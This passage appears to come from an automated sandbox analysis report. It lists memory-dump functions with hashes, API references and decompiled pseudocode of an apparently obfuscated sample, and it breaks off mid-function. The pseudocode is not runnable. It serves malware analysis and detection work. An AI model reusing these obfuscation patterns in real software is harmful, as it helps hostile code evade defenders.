Instruction ID: 1d6e0c5a0109c797299bb2923c89682e7408fed3591947e654932ce5f33814f8
Opcode Fuzzy Hash: 0b23ad2e7bfe5d860bb4f2db0e704635e5cc85a032fe317be9af9f6b6d2a167d
Instruction Fuzzy Hash: 28A15C74A00318DFDB14CF48E981BAA7BB0FB88315F24816AE515AB391D379ED44CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00432E60, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00432EEB
__nh_malloc_dbg.LIBCMTD ref: 00433017

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: c0f71300fb99a17aebe09299377a4987d8d27eb8d1dd4ca988500b6b7fba545f
Instruction ID: 464f32aa7de72b83fa673ebce4e88a7f25332abf2c6c53f107f7426b4b7e1274
Opcode Fuzzy Hash: c0f71300fb99a17aebe09299377a4987d8d27eb8d1dd4ca988500b6b7fba545f
Instruction Fuzzy Hash: 46E10874E04248CFDB24CFA8C894BAEFBB1BB49315F24825ED4656B392C7359942CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424D1F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 00424D19

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 5a4cefda0844be5663b248d3b4140914fbb989cdbf8075c6b5c2b9370d474441
Instruction ID: e068424986e6b0015de0c2819870468599843e6b294b68a55d618a14974dc8b0
Opcode Fuzzy Hash: 5a4cefda0844be5663b248d3b4140914fbb989cdbf8075c6b5c2b9370d474441
Instruction Fuzzy Hash: BE0119B5B10119EBDB14CF54F880AAB77B4EBC8304F90815AF8158B240D378EE52DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042512E, Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0042518D
_memset.LIBCMT ref: 004251D9

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: e48392b6c7511a6d38d4083fc33270918b339852cb7f3cda31c00d3e965a3eab
Instruction ID: 99ab8d1f36e6e1ebba7e0c593a17ea5259723433611ee9d53a8f2a175ac5d7e6
Opcode Fuzzy Hash: e48392b6c7511a6d38d4083fc33270918b339852cb7f3cda31c00d3e965a3eab
Instruction Fuzzy Hash: D811C8B1B40204BBCB04DF54EC42F5E37A8AB54704F50C15AF908AB2C1D678EF10CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00540DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00540223,?,?), ref: 00540E02
SetErrorMode.KERNELBASE(00000000,?,?,00540223,?,?), ref: 00540E07

Memory Dump Source

Source File: 0000000D.00000002.813601766.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_540000_8633.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 17309f01083f84a4a67546b1d5688cdae1751a71bce52f35ee4796e67ce8177b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7DD0123114512C77D7002E94DC09BCD7F1C9F05B66F108011FB0DDD181C770995046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00432ED4, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00432EEB
__nh_malloc_dbg.LIBCMTD ref: 00433017

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: fffe5a05e61990dd2a135c349ea6a216f840e1672319c85ebccd46cf4489ec26
Instruction ID: 8ad3abc6a0c3d2189f74fc65ef30e2723389f83c5d1bc21fdaab64411c011c21
Opcode Fuzzy Hash: fffe5a05e61990dd2a135c349ea6a216f840e1672319c85ebccd46cf4489ec26
Instruction Fuzzy Hash: D4E02071F8470499D7308B555C077687320E704735F60836FD235361C1D6B511008F09

Uniqueness

Uniqueness Score: -1.00%

Function 0042EC10, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMTD ref: 0042EC17

Part of subcall function 0042EB40: __crt_wait_module_handle.LIBCMTD ref: 0042EB8C
Part of subcall function 0042EB40: RtlEncodePointer.NTDLL(?), ref: 0042EBC7

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: ca3bb93ff45a55e1c9c205d3af94546bf3f1e89c60e368c40be708a0837e9a1b
Instruction ID: 6f2b92429c13a5953b755885e49409bb3b6b319ed74be1ce1c640177e5cfe840
Opcode Fuzzy Hash: ca3bb93ff45a55e1c9c205d3af94546bf3f1e89c60e368c40be708a0837e9a1b
Instruction Fuzzy Hash: C2A0126254420823D04030833813B02790C43C0639E4C0021F60D051422842B4104097

Uniqueness

Uniqueness Score: -1.00%

Function 004234C0, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 004234C5

Part of subcall function 004234E0: _check_managed_app.LIBCMTD ref: 0042355C
Part of subcall function 004234E0: __heap_init.LIBCMTD ref: 00423566
Part of subcall function 004234E0: _fast_error_exit.LIBCMTD ref: 00423574
Part of subcall function 004234E0: __mtinit.LIBCMTD ref: 0042357C
Part of subcall function 004234E0: _fast_error_exit.LIBCMTD ref: 00423587
Part of subcall function 004234E0: __RTC_Initialize.LIBCMTD ref: 00423599
Part of subcall function 004234E0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
Part of subcall function 004234E0: ___wsetargv.LIBCMTD ref: 004235CC
Part of subcall function 004234E0: __wsetenvp.LIBCMTD ref: 004235DF
Part of subcall function 004234E0: __cinit.LIBCMTD ref: 004235F4
Part of subcall function 004234E0: __wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: ed77464eb8862c02e5a4258c802415a926824b731f688e607adee3ad985c05c6
Instruction ID: 9ebe18ec82d4d15ee476d857766174c6bdd332a121b3df26ac61f1be310b02cc
Opcode Fuzzy Hash: ed77464eb8862c02e5a4258c802415a926824b731f688e607adee3ad985c05c6
Instruction Fuzzy Hash: 6CA02222000A2C0308223BE3300380A320C08C032EBC200BBB83C020030C0EBE0080AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C92B, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,0041CE7D,?,?,?,?,00423645,00400000,00000000,?,0000000A), ref: 0041C933

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4b58f2a9ff7883878600db57692c0094cdcdbfc0774de0bc8ee88b7fd2131600
Instruction ID: 02b34e6ad64935d866b02a7ad3d8adf186fdb8b1a1fb809bfe37f0ce95fbd004
Opcode Fuzzy Hash: 4b58f2a9ff7883878600db57692c0094cdcdbfc0774de0bc8ee88b7fd2131600
Instruction Fuzzy Hash: 7DB01271410300CFDB004FB0AD067003E60A304713F004034E30C915B1C73044009F18

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
